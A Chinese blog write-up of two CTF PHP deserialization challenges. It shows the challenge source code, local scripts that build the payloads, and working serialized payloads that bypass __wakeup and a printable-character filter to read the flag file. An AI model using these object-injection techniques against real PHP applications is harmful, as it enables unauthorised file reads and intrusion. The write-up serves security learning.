几道php反序列化题目

Posted 2020-12-20 lemon想学二进制

做做题来复习一下反序列化漏洞

[极客大挑战 2019]php

提示源码泄漏，来用扫描器扫一下
扫出来www.zip，然后下载下来

有五个文件，代码审计一下

这个地方有一个可以反序列化的点，找到类

逻辑很简单，username=admin password=100即可
但是有一个wakeup魔术方法会将我们的username=guest，改对象属性个数绕过即可

本地写个测试文件来找payload

<?php
class Name{
    private $username = \'nonono\';
    private $password = \'yesyes\';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = \'guest\';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === \'admin\') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can\'t give you the flag!";
            die();


        }
    }
}

$name = new Name(\'admin\',\'100\');
echo serialize($name);

// payload     O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

然后注意是私有属性，别忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

得到flag

[网鼎杯 2020 青龙组]AreUSerialz

题目直接给了源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{\'str\'})) {

    $str = (string)$_GET[\'str\'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

容易发现逻辑是我们get方法输入字符串，然后经过检查后反序列化，调用析构函数，先判断如果op是2，就将其置为1，但是是强类型判断，反序列化的时候将其置为整型就绕过了
然后是进入到process函数，调用read函数，读flag
但是最重要的一点是有检查函数，必须输入可打印字符，因为protected和private都有%00，我们有两种方法绕过，见exp

<?php
highlight_file(__FILE__);

class FileHandler
{

    protected $op = 2;
    protected $filename = \'flag.php\';
    protected $content = \'lemon\';

}

$test = new FileHandler();
echo serialize($test);
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"lemon";}
// PHP7.1以上版本对属性类型不敏感，可以用public属性来绕过检查

// O:11:"FileHandler":3:{S:5:"\\00*\\00op";i:2;S:11:"\\00*\\00filename";S:8:"flag.php";s:10:"\\00*\\00content";S:5:"lemon";}
// 在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示

拿上面两个payload任意一个打，都可拿到flag